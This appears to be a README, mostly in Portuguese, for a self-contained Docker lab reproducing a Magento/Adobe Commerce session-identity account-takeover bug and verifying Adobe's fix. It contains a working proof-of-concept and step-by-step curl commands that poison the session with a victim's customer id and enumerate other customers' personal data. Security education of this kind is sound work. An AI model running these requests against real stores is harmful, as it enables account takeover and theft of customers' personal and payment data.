CVE-2026-71362 — laboratório de troca de identidade de sessão do cliente Magento / Adobe Commerce

Um laboratório Docker autônomo, com um único comando, que reproduz a CVE-2026-71362 de ponta a ponta e permite verificar a correção da Adobe, para que defensores, pesquisadores e estudantes possam estudar uma primitiva real de tomada de conta em uma loja descartável.

⚠️ Somente uso autorizado

Este laboratório existe para reproduzir uma vulnerabilidade pública e corrigida para pesquisa defensiva e educação. Execute-o apenas contra a loja descartável que ele cria. Não o utilize contra qualquer instância do Magento/Adobe Commerce que você não possua ou não tenha permissão explícita por escrito para testar. Você é responsável por cumprir toda a legislação aplicável.

Qual é o bug (versão de 30 segundos)

Magento\Customer\Controller\Account\Edit::execute() alimenta o customer_form_data bruto, controlado pelo atacante, deixado na sessão por um editPost falho, em DataObjectHelper::populateWithArray(), que copia todas as chaves correspondentes para o objeto do cliente — incluindo id. O objeto é então gravado de volta com Session::setCustomerData() → setCustomerId($object->getId()) e, como Customer\Model\Session::getId() simplesmente retorna getCustomerId(), sobrescrever customer_id sozinho faz isLoggedIn() retornar true como a vítima. Nenhuma verificação de senha, token ou propriedade. Um atacante com apenas uma conta descartável auto-registrada pode religar sua sessão a qualquer id de cliente e ler o PII dessa conta, pedidos, endereços e tokens de pagamento armazenados.

Passo a passo completo: docs/ROOTCAUSE.md. Regras de detecção e WAF: docs/DETECTION.md.

attacker registers ──► POST /customer/account/editPost  (change_email=1,
   (own account)        current_password=wrong, id=<VICTIM>)  ─► exception ─►
                        session.customer_form_data = {... id: <VICTIM> ...}
                              │
                              ▼
                        GET /customer/account/edit
                        populateWithArray(... id=<VICTIM> ...) ─► setId(VICTIM)
                        setCustomerData() ─► setCustomerId(VICTIM)
                              │
                              ▼
   attacker's OWN cookie now resolves to the VICTIM everywhere (dashboard,
   order history, address book, section/load) ─► account takeover.

Requisitos

• Docker + Docker Compose v2
• ~6 GB de RAM livres para os contêineres, ~5 GB de disco
• Python 3 (apenas para executar o PoC) — pip install -r exploit/requirements.txt

A compilação baixa o Magento Open Source de fontes públicas; nenhuma chave do Adobe Marketplace é necessária.

Início rápido

git clone https://github.com/dinosn/cve-2026-71362-magento-lab.git
cd cve-2026-71362-magento-lab

make up          # build + start; FIRST BOOT INSTALLS MAGENTO (15-40 min). Watch: make logs
make wait        # blocks until the storefront returns HTTP 200
make exploit     # runs the PoC

Loja (frontend): http://127.0.0.1:8080/ · Admin: http://127.0.0.1:8080/admin (admin / Admin123!). Altere o host/porta em .env (veja .env.example) — o valor deve corresponder à URL que você acessa, pois o Magento fixa o cookie de sessão à URL base da loja.

Saída esperada do PoC (vulnerável)

[1] attacker authenticated as its OWN account: firstname='Mallory'
[+] registered a victim to steal: firstname='VICTIM…' email='victim…@lab.test'
[2] enumerating customer_id 1..25 by rebinding the attacker session to each:
      customer_id=1   -> VICTIM… Target  <victim…@lab.test>
...
  >>> ACCOUNT TAKEOVER: attacker's session hijacked customer_id=1 (VICTIM…) and read
      every enumerated account's PII with only self-registration.

Prove a correção (controle negativo A/B/A)

make patch      # apply Adobe's official APSB26-92 Edit.php fix
make exploit    #   -> NOT exploited (session identity unchanged)

make unpatch    # restore the vulnerable file
make exploit    #   -> ACCOUNT TAKEOVER again

make patch substitui por patch/Edit.patched.php — a alteração upstream exata de patch/official-APSB26-92-module-customer.patch. Alternar apenas esse arquivo entre ligado e desligado é o oráculo de que o bug é precisamente este trecho.

Reprodução manual (sem Python)

# form_key + cookies
curl -c jar -s http://127.0.0.1:8080/customer/account/create | grep -o 'name="form_key"[^>]*'

# 1. register attacker (auto-logged-in)
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/createPost \
  --data-urlencode form_key=<FK> --data-urlencode firstname=Mallory \
  --data-urlencode lastname=Attacker --data-urlencode [email protected] \
  --data-urlencode password='Attacker#123' --data-urlencode password_confirmation='Attacker#123'

# 2. poison the session: failing editPost carrying id=<VICTIM>
curl -b jar -c jar -s -X POST http://127.0.0.1:8080/customer/account/editPost \
  --data-urlencode form_key=<FK2> --data-urlencode id=1 \
  --data-urlencode change_email=1 --data-urlencode current_password=wrong \
  --data-urlencode [email protected]

# 3. trigger + observe: the attacker cookie now resolves to customer_id=1
curl -b jar -s http://127.0.0.1:8080/customer/account/edit | grep -Ei 'name="(firstname|email)"'

Remediação (lojas reais)

Aplique o patch isolado de agosto de 2026 APSB26-92 para o seu branch (24Xp-2026-08-001-CE). A Adobe disponibiliza o registro de patches e os diffs brutos sem credenciais em https://repo.magento.com/patch/patch-registry.json. A correção não está no GitHub público — nenhum pacote Composer ou tag git foi publicado para ela, então composer update não a baixará.

Layout

docker-compose.yml   nginx + php(-fpm) + mariadb + opensearch + redis
php/entrypoint.sh    first-boot installer (clone -> composer -> setup:install -> configure)
exploit/poc.py       the PoC + PII-enumeration oracle
scripts/patch.sh     apply Adobe's official fix        scripts/unpatch.sh  restore vulnerable
patch/               official diff + vulnerable/patched Edit.php
docs/ROOTCAUSE.md    code-level walkthrough            docs/DETECTION.md   WAF + forensics

Solução de problemas

• O PoC exibe "still installing" — o primeiro boot compila o Magento; execute make logs e aguarde Install complete, depois make wait.
• Tudo retorna 500 logo após a instalação — uma corrida de permissões em generated/; make shell e depois php bin/magento cache:flush (o entrypoint normalmente cuida disso).
• Comportamento estranho de cookie/CSRF — você está acessando um host diferente da URL base da loja. Mantenha MAGENTO_HOST/HOST_PORT em .env iguais à URL que você (e TARGET) utiliza.

Referências

• Adobe APSB26-92 · NVD CVE-2026-71362
• Sansec — Adobe corrige tomada de conta crítica no Magento (APSB26-92)
• Pesquisador creditado: 0x0.eth

Licença

MIT — veja LICENSE. Fornecido para fins educacionais e testes autorizados, sem garantia.